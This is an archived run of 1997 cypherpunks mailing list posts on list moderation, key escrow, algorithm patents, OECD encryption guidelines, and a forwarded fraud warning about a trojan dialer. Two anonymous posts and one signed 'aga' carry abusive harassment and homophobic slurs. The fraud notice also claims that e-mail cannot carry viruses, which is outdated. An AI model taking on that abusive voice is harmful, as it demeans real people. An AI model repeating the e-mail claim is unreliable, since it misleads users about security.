sqDEENxeV+bI5UdSzemQDy+TDQoy7BSN7Tby8JgwXE9x3AitY2A05g==
=S1Zy
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Tue, 4 Feb 1997 16:41:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: Moderation, Tim, Sandy, me, etc * Reputation Capital
Message-ID: <199702050025.BAA08118@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


I found this post from Mr Gilmore deeply disturbing, and I thought
I'd take this chance to, as someone recently said, "Fly with the
Eagles."

John Gilmore said:
>Tim, the Cypherpunks have chosen to follow Sandy's lead for this 
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

Careful. The statistics you are throwing around here are misleading.
So if 1350, say, subscribers were subscribed to an unmoderated 
cypherpunks list, what would that tell you? As has been pointed out,
beaten to death, and generally repeated: there are already filtered
c'punks lists. By filtering the main list, you are just making your own
life difficult and corrupting the reputation capital of "cypherpunks",
and the results are far from conclusive.

>all I want is something that works.  The cypherpunks list was unusable
>for this kind of discussion, only a month ago.  It's usable now.
>
>I'm definitely bugged by the community's attitude toward my
>"censorship".  Rather than being glad that someone, anyone, was doing
>something about the major problem on the list, 99% of the reaction was
>to create even more ill-considered, emotional flamage.  *I* didn't
>make the signal/noise get worse at that point -- *you-all* did.

Again, maybe that 99% is trying to tell you something? Maybe there is
some provocation for this outpouring of "emotional flamage." Also, here
you claim that the s/n ratio is worse than before, but above you said
that the "moderation" has made the list usable. These two statements
seem contradictory.

>Perhaps at that point I should have shut down the list, as Lucky is
>now suggesting.  "Asking the list what to do" was clearly not a useful
>option.  Sandy cared enough about the community to make some concrete

Not a useful option? Why not? If there aren't any ideas left in this 
community, I'm with Lucky. Pull the plug.

>gratifying.  You-all remind me of a passage from Booker T.
>Washington's book _Up From Slavery_, describing what happened on the
>night that news of the Emancipation Proclamation reached the South:
<quote snipped>
>Most of the people on the list haven't bothered to face that freedom.
>Your de-facto "leaders" have faced it for you.  It is a more serious

"You clearly don't take your freedom seriously. Now try a month without
it."

>Start a mailing list on another site!  Move this list to somewhere!
>Create and nurture an alt group!  Make an independent moderated list

My problem with this is that you are currently holding the reputation
capital tied up in the name "cypherpunks" hostage. If hosting this
discussion forum has grown so tiring, then you are free to pull the plug
in a heartbeat. I've heard a few even go so far as to ask "what's in
a name" when others get so upset about the list called "cypherpunks"
being moderated. Well, I'll tell you. Reputation capital. Thats why
so many lurkers have waded through the muck for so long. I've seen
the crown jewels that have surfaced here in the past, and spread the
word. "Cypherpunks" was where the action was. It was fast and loose and
inhabited by a prolific core of sharp minds. Old memes die hard, as
is evidenced every time we see a warning about the "Goodtimes Virus."

>The experiment will be over in a few weeks.  Who's going to take over
>deciding how to run the list, and running it?

As I said, if you don't want the list anymore, pull the plug. It will
pop up again elsewhere and you need never worry about it again.

This post from Mr Gilmore certainly is revealing. Perhaps inevitably,
he has assumed the traditional paternal role of authority when its
motives and/or power to regulate is questioned.

Golem




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Tue, 4 Feb 1997 17:26:22 -0800 (PST)
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re: Are cypher punks capable?
In-Reply-To: <19970204205702.11975.qmail@squirrel.owl.de>
Message-ID: <19970205012614.19234.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Secret Squirrel <nobody@squirrel.owl.de> writes:

> Against Moderation wrote:
> > In general, unsubscribing and resubscribing to a mailing list is not
> > completely trivial.
> 
> Do you think that a cypher punk is not able to solve these problems?

Read the rest of my message.  I never said it wasn't pussible, it's
just a question of how much effort I want to put in (which at this
point, being roughly proportionaly to the quality of articles on
cypherpunks, is close to zero).

Whatever the difficulty or ease of fixing my mail filter, however, the
fact that I haven't done it yet should not be counted as a vote in
favor of moderation.  This is what I am objecting to in John's
article.

John, if you are seriously interested in input from list members, then
I have a proposal that I think is only fair.

Why don't you create a new mailing list called cypherpunks-edited,
which receives exactly the same filtered content as the current
"cypherpunks@toad.com" list.  Then encourage people to move from
cypherpunks to either the -edited or -unedited lists to express their
desires for the future of the list.

In a another month, compare the subsription lists of the 3 lists.  If
there are considerably more subscribers to cypherpunks-edited than
cypherpunks-unedited, then you can reasonably claim that a lot of list
members want to see the list filtered.  However, if, as I suspect, the
number of people subscribing to the -edited and -unedited lists is
statistically insignificant next to the people on the main cypherpunks
list, then subscription counts are not a valid metric for judging the
desires of list members.

Of course, in the mean time I would like to see cypherpunks revert to
an unmoderated list, but I'm not going to push my luck.  I'd already
be happe just to see the creation of a cypherpunks-edited list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 4 Feb 1997 22:34:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702040543.VAA15856@toad.com>
Message-ID: <0my2YP200YUe01fKE0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Just to add my $.02 to the me too pile:
It should be noted that the subscription from netbb+internet.
cypherpunks@andrew.cmu.edu is a mail<->news gateway for Carnegie
Mellon University people. It represents maybe 10-50 cypherpunks
readers. I used to read cypherpunks from there, but I see some kind
soul has subscribed CMU to the unedited list, so I will read that
instead. My killfile is just enough censorship for me.

On the choke points note, mailing lists are better than usenet because
legendary AOLers with there 5 free hours of fame and their ilk usually
don't figure out how to pester mailing lists. Being on a mailing list
usually requires a commitment, that is enough of a barrier for many of
the usenet underirables.

Waiting for the end of moderation,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

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GT3wIITGh1RMnFFEYQLWCyjW9NVJ6RIKJY6t5rLzRiy4gNe0jA8AMNI6E8NuaFV1
J8SDjY0oAo0ixBJHzv0MXui8f4ciS4tD
=Lbs9
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Tue, 4 Feb 1997 23:22:43 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: GAK/KR spin
Message-ID: <199702050714.CAA15573@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear said:

>Several months back there were discussions on the list regarding renaming
>the government's key escrow/recovery proposals (KRAP comes to mind).  I
>think we need something that's catchy and simple (perhaps already familiar)
>to understand for the semi-litterate citizen units.  I propose we encourage
>use of the terms "crippleware" or "crypto crippleware" when refering to the
>products limited to their weak crypto and/or key escrow/recovery.

Another point on all this that was made by Matt Blaze at the RSA
conference (and that I have been making to all my friends) is that Crypto
is basically a "solved" problem. The government's efforts to impose
GAK is in effect transposing a "solved" problem into an "unsolved"
problem - due to the inherent problems with any conceivable
GAK "solution". I thought this was a very good case against GAK.

=Bill=







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bjorn Asman" <Bjorn.Asman.Info-Design@tripnet.se>
Date: Tue, 4 Feb 1997 17:36:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: bye.bye
Message-ID: <199702050131.CAA00552@mail.tripnet.se>
MIME-Version: 1.0
Content-Type: text/plain


I have to agree that Mr. Tim C May have a big point. Even if i didn't 
like all the things Mr. May wrote so could i read it, and that is the 
point i think Mr. Sandford missed. That is to have a list that is a 
"living" list. You have to have all the people giving their chanche 
to say what tehy like even if they dont are "mentaly healthy".I have 
one more thing to "say". Namely to say bye.bye. 
to this list. I have never posted to this list, i have only read it, 
because i like the freedom in it (free speech and so on), but if i 
have to change my subscription to unedit-cypherpunks just to "hear" 
the freedom of speech, i rather just say no and unsubscribe.
bye.bye
bjorn.asman@infodesign.se.org
Roerstrandsgatan 7a
41703.Goeteborg
Phone +46-(0)31-221056
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The subjects are cyborg, nature is coyote, 
and the geography is Elsewhere
-Donna Haraway
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Wed, 5 Feb 1997 02:31:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newt's phone calls
Message-ID: <199702051031.DAA06419@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimwit L)amentation( Vehement K)retin(OTM enjoys sucking the
puss from his syphilitic homosexual friends.

        /\_./o__ Dr.Dimwit L)amentation( Vehement K)retin(OTM
       (/^/(_^^'
      ._.(_.)_






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 03:36:13 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Silly Americans
In-Reply-To: <199702050726.XAA18078@toad.com>
Message-ID: <3.0.1.32.19970205033339.00601e40@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 2/4/97 -0500, Rick Osborne wrote:
>The original poster was talking about the UniSys GIF
>patent, and this was the reply:
>
>>Broaden your view. I can do anything I want with the GIF format 
>>without asking _anyone_, and so can almost everyone in the world -
>> except those poor americans who chose to live under a "broken" 
>>patent law which allows protecting _algorithms_. Totally silly.

Not true, of course - other countries also have broken patent
laws that permit patenting algorithms.  For instance, IDEA is patented
in places besides the US.  The differences in the US are that
perhaps our patent people became stupid earlier, and that US patent
law allows you to apply for a patent up to one year after publishing,
while European patent laws don't let you patent anything that's
been disclosed to the public.

>a philosophical note, why *do* we allow the government to regulate
>algorithms?  (Implementations, I can understand, but *algorithms*?)

Because they're bigger than we are and better-armed?
Because there's lots of money to be made by people patenting things?
Because big companies can use it to interfere with competition?
Because it's good for the economy because it encourages inventors
	of algorithms to publish them and make money by doing so?

(I'll take the first three of those arguments :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 5 Feb 1997 03:32:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: AltaVista Tunnel
In-Reply-To: <5d7v6a$baq@fido.asd.sgi.com>
Message-ID: <32F87394.167E@sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:
> 
> He triumphantly exclaimed that the encryption was 128-bit, but when
> I said "128-bit what?" he cowered and muttered that he didn't know and went
> on with his little speech.  The rest of my crypto-specific questions met
> with equal dark stares.  And these are the people setting industry standards...

I should be happy that you are bashing a competitor and all, but give
them a break, OK? The marketing dweeb who has to do product pitches
on roadshows is not the same as the design engineer who designs the
system and sets technical standards. There can be a big difference in
technical knowledge about the product, and even basic competency,
between the two.

-- 
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 5 Feb 1997 00:50:23 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702042210.OAA22704@kachina.jetcafe.org>
Message-ID: <Pine.LNX.3.95.970205034418.13399A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 4 Feb 1997, Dave Hayes wrote:

> Steve Boursey writes:
> >   Well EFF itself is a lie--the were very well exposed by Wired Mag. a
> > while back as being nothing more than a corporate whore.  They represent
> > the interests of owners not consumers--the ACLU has been very open
> > in their critisism of the EFF in this regard.  A large corporation
> > waves some money in front of their noses and tells them to bend
> > over you can be sure they'll bend over.  
> 

Actually, the EFF is meaningless, and not worth discussing.
It was just a bunch of hippy faggots that got financed by the
greatfull dead, and since the greatfull dead died, the EFF should
just also die.  I mean come ON, with queers at the organization,
NOBODY is going to give it any credibility.

> It's not clear from where I sit that the EFF is intrinsically evil.  A

But it has John Gilmore there, and he is the evil censor.

> case can be argued for their initial good intentions followed by the
> subsequent poisoning of this intent by people with lots of money. Of
> course, -any- organization is as susceptable to infiltration as their
> weakest member.
> 
> > Respectable free speech advocates do not associate with EFF.
> 
> If one is going to advocate free speech, I strongly suggest one
> learns to deal with one's own greed and one's own need for power
> first. 

Greed and avarice may be bad, but wealth and control are good.
The power must always go to those who do not "need" it but who know
how to use it.  Not everybody is qualified to carry a gun.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Wed, 5 Feb 1997 02:50:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRIVIUM] Extradition treaties
Message-ID: <199702051050.DAA06534@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Drunkard Vilest K>rap<OTM wears satin lingerie embroidered with
pink swastikas, prancing around for his faggot, AIDS infected
lovers.

   |\     \ \ \ \ \ \ \      __
   |  \    \ \ \ \ \ \ \   | O~-_ Drunkard Vilest K>rap<OTM
   |   >----|-|-|-|-|-|-|--|  __/
   |  /    / / / / / / /   |__\
   |/     / / / / / / /






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 5 Feb 1997 02:16:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Letter Re: Kahn Supporting GAK
Message-ID: <199702051015.FAA26085@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

My letter to Long Island Newsday regarding David Kahn's pro-GAK
editorial was published today. You can read it at

    http://www.newsday.com/mainnews/rnmi052u.htm

What's odd (?) is how they editied it. I directed my comments toward
Mr. Kahn's views, which they changed to "Newsday" (odd, since I've
never seen them print an editorial one way or another on GAK; does
this mean they are taking a stand? -- Kahn is an editor at Newsday).

I wrote "The greatest flaw in the argument is it's very reason,
'criminals... are increasingly using encryption to conceal their plans
and activities'" which they changed to "It reports...". I never
considered an op-ed piece as "reporting", even if it states a fact.

The following paragraph

  There are also a variety of technical problems associated with
  escrowing encryption keys, mainly, how to do so securely? A single
  `backdoor key' (or set of keys) for a popular product can become an
  easy target for crackers who can jeopardize the security of an
  entire system. Software can be easily hacked to disable or damage
  the key escrow features, and there are techniques to hide even the
  presence of a message in something innocuous as a digitized image.
  (Mr. Kahn seems to have forgotten to mention that the FBI not only
  wants to overhear cellular phone conversations but also read E-mail
  and any other encrypted files people have.)

was changed to just

   There are also several technical problems associated with escrowing
   encryption keys, mainly, how  to do so securely. 

They did leave the last two paragraphs relatively intact, though.

Yeah, yeah... the piece could have been much longer & detailed, but
it's only a letter to the editor...

- --Rob

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvhdzgTNlSxdPy6ZAQEw8Qf9FnDSSd/m+XwUxU1CCJnwVOrvS4qyIubX
2E18o2rrS+F8TDjkhVsaDR3lJNqikdOzAL2GfjX53/cBEOhYcYcip7IHkd8UxqY6
zDHp2LwWnSuF8wwxeKw/DyPhAURsxYAl+LCJbsJjK+zxpgPU1Z0YzFkj3Am6bscv
t8qiPoTxUF3tusueT5I3xQsRgEAx1SNwRHgQGzLS+zPwdFBT9ZsIsp4EbZ0fx1cE
ZpbIxu1koDCWhkmJdTiL5HXXJ6mROJvCIGHfr1NU099AlIOO/FXq2UTnti2TzQn7
wYF73490ru1AFMEViLipj3zXzJsIGBo32La37yDozBEItd32B0L/+w==
=3wRg
-----END PGP SIGNATURE-----

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 5 Feb 1997 07:12:18 -0800 (PST)
To: Anil Das <das@sgi.com>
Subject: Re: AltaVista Tunnel
In-Reply-To: <5d7v6a$baq@fido.asd.sgi.com>
Message-ID: <32F8A300.52A7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das wrote:
> Rick Osborne wrote:
> > He triumphantly exclaimed that the encryption was 128-bit, but when
> > I said "128-bit what?" he cowered and muttered that he didn't know and went
> > on with his little speech.  The rest of my crypto-specific questions met
> > with equal dark stares.  And these are the people setting industry standards...

> I should be happy that you are bashing a competitor and all, but give
> them a break, OK? The marketing dweeb who has to do product pitches
> on roadshows is not the same as the design engineer who designs the
> system and sets technical standards. There can be a big difference in
> technical knowledge about the product, and even basic competency,
> between the two.

HP in their first 17 years of making personal computers always sent
real engineers along with salespeople to their product rollouts.

Starting in late 1983 with their first MS-DOS computer, they did a
180-degree and eliminated the engineers, and started sending people
who knew nothing about HP products, which is bad in the sense that
some folks wanted to know "Why should I buy HP when I can get the
real thing, i.e. IBM"?  As a sales manager, I always had a hard time
with that one.  I blame HP in retrospect, for a moron mentality in
their marketing department.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 5 Feb 1997 08:16:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702051616.IAA13843@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



IDEA vs DES vs Blowfish vs RSAREF
Which of these symmetric algorithms are the hardest to break and what are their characteristics.


//Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Feb 1997 05:23:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD Waffles
Message-ID: <1.5.4.32.19970205131807.006cd434@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-4-97. Reuters:

Global group fails to endorse Clinton encryption plan 

Washington: An influential economic research group is preparing 
guidelines on computer encryption for its member countries but 
will duck some of the most contentious issues involved, according 
to a draft obtained by Reuters.

The Clinton administration, seeking to rally support for its 
controversial policy on exporting encryption products -- which 
encode and decode e-mail and other computerized messages -- failed 
to win an endorsement from the Organisation for Economic Cooperation 
and Development (OECD), although the group did discuss the
administration's approach.

On perhaps the most difficult issue, the draft guidelines do not 
favour or oppose a requirement in the U.S. policy that data-scrambling 
encryption programmes provide a way for law enforcement officials to 
obtain keys to crack the codes when necessary.

After indicating that governments should carefully weigh the costs and 
benefits of imposing so-called key recovery, the draft report said, 
"this principle should not be interpreted as implying that governments 
should, or should not, initiate legislation that would allow lawful 
access."

On all the controversial areas in the draft, "the member countries of 
the OECD have strongly held views but they don't always coincide," 
John Dryden, head of the group's Information, Computer and Communications 
Policy division, said in a telephone interview from Paris.

Some countries see widespread use of encryption as a way to protect the 
privacy of computer users and businesses, thereby encouraging global 
commerce, Dryden said. But others see encryption as possibly thwarting 
law enforcement's efforts to catch riminals and global terrorists, he 
said.

The guidelines suggest encryption users should have access to products 
that meet their needs. Government controls should be "no more than are 
essential to the discharge of government responsibilities."

Instead of reconciling the different views, the draft guidelines lay out 
competing interests and approaches.

"It's not in itself a cryptography policy and it's not an attempt to 
draft a model national law that we're encouraging people to adopt," 
Dryden said. Cryptography refers to products and systems used in 
encryption.

The guidelines also suggest encryption standards and usage should be 
"determined by the market in an open and competitive environment."

"There's a strong view that the private sector should have the 
possibility to use information networks to the best of their potential 
in order to create growth and jobs," Dryden said.

U.S. officials who have seen the preliminary draft praised the guidelines. 
"They're an important and helpful step forward," Undersecretary of 
Commerce William Reinsch said.

"They're helpful because they put down on paper the proper foundation for 
getting into this," he added.

Reinsch said most countries will follow the U.S. lead and require 
so-called key recovery features for law enforcement. Under the Clinton 
policy, domestic use of encryption is not regulated but the strongest 
coding products cannot be exported unless they include key recovery.

U.S. companies that have opposed the Clinton policy, contending it stifles 
their ability to compete with unfettered foreign firms, drew little solace 
from the draft guidelines.

"This is not helpful," said Netscape Communications Corp.'s public policy 
counsel, Peter Harter. Netscape and other companies preferred stronger 
language endorsing free-market policies, he said.

The draft guidelines, approved by a group of government and private-sector 
experts at a meeting at the end of January, still must be approved by a 
top-level OECD officials from the group's 29 member countries, including 
the United States.

----- 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Wed, 5 Feb 1997 08:24:59 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
Message-ID: <v02140b02af1e62001772@[206.184.192.27]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:40 AM 2/5/1997, Greg Broiles wrote:
> On 1/18/97, I sent freedom of information act requests to the FBI (main and
> San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
> of information in their files relating to or referring to the cypherpunks
> list, the cypherpunks meetings, and copies of any messages sent from or to
> "cypherpunks@toad.com".

> To date, I have received three responses: one from the SF office of the FBI,
> indicating that they have no records responsive to my request; one from the
> NSA, indicating that they are processing my request, and one from the Secret
> Service, asking for a copy of my signature. (I've got no clue why they want
> that; unless I screwed up, I believe my initial request was signed.)

Have these organizations been known to lie?  What penalties does
the organization or its employees face when they do so?  Have these
penalties ever been applied?

Also, which exceptions in the FOIA law would allow them to respond
dishonestly?

Inquiring minds want to know!

Peter Hendrickson
pdh@best.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Feb 1997 05:34:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Total Recall' Come True!
Message-ID: <1.5.4.32.19970205132857.006d9388@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Major Organizations Are Experimenting With Computer Chip Implants in
Humans, According to EE Times Special Report

Manhasset, N.Y., Feb. 4 -- The implantation of computer chips into 
humans and animals is now actively being funded, researched and 
experimented by major institutions such as Stanford University, 
British Telecom, the National Institute of Health (NIH) and major 
corporations, according to the first of a two-part special report 
published by EE Times (http://www.eet.com). Although the work is 
drawing fire from civil libertarians and conspiracy theorists, among 
others, many scientists and physicians defend the work for its 
potential to ease suffering.

"It's 'Total Recall' come true! Our in-depth look into this state-of-
the- art research reveals that the mix of electrical engineering and 
medical technologies to surgically implant computer chip-driven devices 
is here today -- a micro chip implant is simply one step beyond a 
pacemaker," said EE Times Internet Editor Larry Lange.

According to the EE Times report, Mitsubishi Electric Corp. (Tokyo) 
recently developed a low-cost input device that can recognize human 
movement and convert it to commands for use in software applications. 
This device is expected to find its way into tools used by people with 
disabilities. On other fronts, the semiconductor research lab at 
Motorola Inc. is working on body-embedded electronic blood-sensors that 
may one day allow diabetics to measure their blood sugar levels without 
ever drawing a drop of blood.

The special report, appearing in next week issue in print and online, 
looks at additional areas of research and the differing reactions to it.

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 05:44:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: NFIC Warning About Sexygirls web site
Message-ID: <v0300782aaf1e3db1840f@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


I had to laugh when I read this...

Cheers,
Bob Hettinga

--- begin forwarded text


X-Sender: themet@pop.mindspring.com
Mime-Version: 1.0
Date: Wed, 5 Feb 1997 01:50:36 -0800
To: fraudnews@silverquick.com
From: Mark Taylor <themet@mindspring.com>
Subject: NFIC Warning About Sexygirls web site
Reply to: Mark Taylor <themet@mindspring.com>


Here is an interesting twist on how some crafty scamsters can
rack up money on your phone bill
===========
National Fraud Information Center

Monday, February 4, 1997

PORNO SURPRISE

Consumers who visited a pornographic website
(www.sexygirls.com) last month got a big surprise on their
phone bills. After a few teaser pictures, surfer was told
he/she needed to download a special program to view the
archived images. That program was actually a viewer with an
entire communications suite hidden deep inside (a non-self
propogating
Trojan Horse). The program disconnected user from his/her ISPs,
shut off the volume on the modem if it was computer controlled,
and dialed a number in Moldova -- a small, former republic of
the Soviet Union wedged in between the Ukraine and Romania. All
the while the consumer was on the website, and even if he/she
then browsed other sites on the World Wide Web, the Internet
access was being provided through the Moldova number, resulting
in huge international phone charges! Consumers didn't know that
until their phone bills arrived. According to the Toronto Star
Business Reporter, there are Canadian reports of bills into the
thousands.

The Toronto star also reports that the Royal Canadian Mounted
Police has requested all calls from Canada to that number in
Moldova be blocked. Bell Canada is attempting to provide relief
for Canadian consumers.

US consumers should contact their long distance providers if
they find these unexpected charges on their bill.

The RCMP has also required the owners of sexygirls.com to place
a disclaimer on the site, alerting consumers to the presence of
the communications software in the viewer. The disclaimer also
tells consumers how to disconnect if they do not wish to use
the server in Moldava.

In November, Internet Fraud Watch warned consumers concerning
the possible dangers of downloading programs over the Internet.
Some tips:

       Don't download unnecessary items. If it's just a piece
of razzle-dazzle, don't bother. It will only take up space on
your hard drive and perform no useful function. If there's no
gain for you from the program, there's no reason to take a
risk.

       Only download from sites you know and trust. While even
a major corporations site can sometimes have a viral
infection, a lone programmer might be using an attractive piece
of code as a delivery vehicle for his pet virus.

       Don't download material directly onto a computer network
at work. First download it onto a stand alone PC. Test  it out.
Make sure it doesn't have any malicious side-effects. Check
that machine for known viruses. Only at that point should you
install the downloaded program on a networked machine.

       If you feel you must download files, keep track of what
files you have on your system and what files are created during
a program installation. That way you can easily uninstall any
program if you find it to be undesirable. This also helps in
detecting new installed files that aren't supposed to be there.

Remember, your main worry is an executable file (i.e. a program
or application). Despite what you hear all over the Internet,
you cannot get a virus from a piece of e-mail.

If you are having a problem with calls to Moldova, the
connection will only be made if you attempt to use the viewer.
If you try to use the viewer, shut down your machine after you
are finished at that site. If you wish to remove the viewer
altogether, the file name is david.exe (for IBM users). If you
are in Windows, it should be in your program folder.



	FraudNews is owned and published by :
	Mark Taylor: themet@mindspring.com

All material published is copyright.It must not be reproduced
in any form without the express permission of of the owner.

=============================================================
This Newsletter is broadcast using the List and Newsletter
Management facilities of Silverquick Communications
You may subscribe to FraudNews and the Fraud-Discuss lists on
the web pages at : http://www.silverquick.com
=============================================================

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: doelke@rockdal.aud.alcatel.com (Daniel R. Oelke)
Date: Wed, 5 Feb 1997 07:35:59 -0800 (PST)
To: azur@netcom.com
Subject: Re: BA Crypto Machine Photos
Message-ID: <199702051456.IAA15006@spirit.aud.alcatel.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> >BTW, does anyone know the meaning of 'order wire mode' in the context of a
> >crypto broadcast? This mode is found in the KWR-37 online crypto
> >receiver. Please send all photo requests or responses via private E-mail.
> 
> If it means the same thing as in the telecom industry, its an out-of-band
> (often analof) channel between two locations connected by wide-band (e.g.,
> T1) facilities.  Its primary purpose is to provide service personnel, at
> each end point, the ability to converse with one another while performing
> work on that link.
> 

I would also guess it might be something similar to the orderwire in
the telecom industry.  I am more familiar with digital orderwire systems,
but orderwires are generally all similar.  You have a communications 
link, and some overhead on that link is dedicated to providing 
a voice channel for communications between sites so that people
working on the line can communicate with each other.

In a crypto system - I could see that the orderwire might be a
in-the-clear transmission as part of the overhead so that people at 
each end of a hop can figure out why the data (i.e. encrypted) portion
isn't getting through.

Dan
------------------------------------------------------------------
Dan Oelke                                  Alcatel Network Systems
droelke@aud.alcatel.com                             Richardson, TX





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 5 Feb 1997 09:25:15 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: ITAR and Paper ROM
Message-ID: <v02140b07af1e6d0de3b5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Given that high-density inkjet printers can do 600x600 dpi resolution, it
>should be possible to achieve the equivalent of 100x100 bpi of
>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or
>100 kilobytes.   What does ITAR say about this?
>
>
>Jim Bell
>jimbell@pacifier.com

I'm not sure if what I did in the 80s, trying to create what I called
'paper ROM, is applicable.  In these investigations I used matricies of
small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind
to replace diskettes for inexpensive mass data distribution.  I was able to
reliably get 100-200 KB/page side using standard offset printing.  With
modern ink-jet/laser printers you should be able to reliably get at least
10-50KB/page side. Although a technical success, I abandoned the effort
when I discovered someone had patented (4,488,679) something similar a few
years earlier.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Vagner <jlv@sig.bsh.com>
Date: Wed, 5 Feb 1997 06:35:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <199702050726.XAA18124@toad.com>
Message-ID: <Pine.SGI.3.95.970205093158.26227B-100000@dev.sig.bsh.com>
